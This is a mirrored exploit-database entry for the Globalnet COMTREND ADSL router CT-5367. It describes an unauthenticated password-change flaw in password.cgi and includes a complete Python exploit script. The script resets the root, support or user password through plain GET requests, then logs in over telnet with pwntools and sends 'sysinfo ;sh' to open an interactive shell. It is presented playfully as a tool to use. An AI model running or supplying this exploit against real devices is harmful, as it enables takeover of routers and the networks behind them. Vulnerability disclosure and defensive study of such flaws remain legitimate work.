Lucene search
K

COMTREND ADSL Router CT-5367 Remote Code Execution

🗓️ 26 Dec 2017 00:00:00Reported by TnMchType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 65 Views

Globalnet COMTREND ADSL Router CT-5367 Remote Code Executio

Code
`# Exploit Title: Globalnet COMTREND ADSL Router CT-5367 Remote Code Execute  
# Date: 11-12-2017  
# Exploit Author: TnMch  
# Software Link : null  
# Type : HardWare  
# Risk of use : High  
# Type to use : Remote  
  
  
1. Description  
  
Any user can edit all users password and execute remote code directly without have access   
  
2. Proof of Concept  
  
request this page before login to ADSL panel : 192.168.1.1/password.cgi/password.cgi  
  
<form>  
<table border="0" cellpadding="0" cellspacing="0">  
<tr>  
<td width="120">Username:</td>  
<td><select name='userName' size="1">  
<option value="0">  
<option value="1">root <!-- admin -->  
<option value="2">support <!-- support -->  
<option value="3">user <!-- user -->  
</select></td>  
</tr>  
<tr>  
<td>Old Password:</td>  
<td><input name='pwdOld' type="password" size="20" maxlength="16"></td>  
</tr>  
<tr>  
<td>New Password:</td>  
<td><input name='pwdNew' type="password" size="20" maxlength="16"></td>  
</tr>  
<tr>  
<td>Confirm Password:</td>  
<td><input name='pwdCfm' type='password' size="20" maxlength="16"></td>  
</tr>  
</table>  
<br>  
<center><input type='button' onClick='btnApply()' value='Save/Apply'></center>  
</form>  
  
  
3 .exploit   
  
  
#!/usr/bin/env python  
import platform  
import requests  
import base64  
  
url = "http://192.168.1.1/"  
  
''' first check default gateway '''  
  
r = requests.get(url,allow_redirects=True)  
resp = r.content  
  
'''Check resp'''  
  
if 'Authorization' not in resp:  
exit("[-]Invalid host !! ")  
  
''' Change password '''  
  
again = True  
  
while again:  
print "Which User"  
print "(root | support | user )"  
user = raw_input('user : ').split()[0]  
  
if user not in ("root","support","user"):  
exit("[-] No user with this name !! ")  
  
print "[+] Update password ",user  
password = raw_input('new password : ').split()[0]  
print "[+] Update new password ['",password,"']"  
  
if user == "root":  
url +="password.cgi?sysPassword="+password  
if user == "support":  
url +="password.cgi?sptPassword="+password  
if user == "user":  
url +="password.cgi?usrPassword="+password  
  
pass_b64 = password.encode('base64').split()[0]  
  
r2 = requests.get(url,allow_redirects=True)  
resp2 = r2.content  
  
''' Check update '''  
  
if pass_b64 in resp2:  
print "[+] Password for user : ",user," updated!"  
print "Happy hacking :D, enjoy"  
else:  
print "[-] Something Wrong , please check again! "  
  
y_n = raw_input('Do you want again? :D (y/n) : ').split()[0]  
  
if 'n'!= y_n and 'y' != y_n:  
exit('bad input :(')  
if y_n == 'n':  
print "Go Go Go :D ,No Time for you Mr.Robot"  
shell_yn= raw_input("Do you want shell? (y/n) :D : ").split()[0]  
if shell_yn !='n':  
sys = platform.system()  
if sys =="Windows":  
exit("Sorry only on Linux or Mac Os")  
from pwn import *  
target = "192.168.1.1"  
port = 23  
p = remote(target,port)  
p.recvuntil("Login:")  
p.sendline(user)  
p.recvuntil("Password:")  
p.sendline(password)  
p.sendline("sysinfo ;sh")  
p.interactive()  
again = False  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation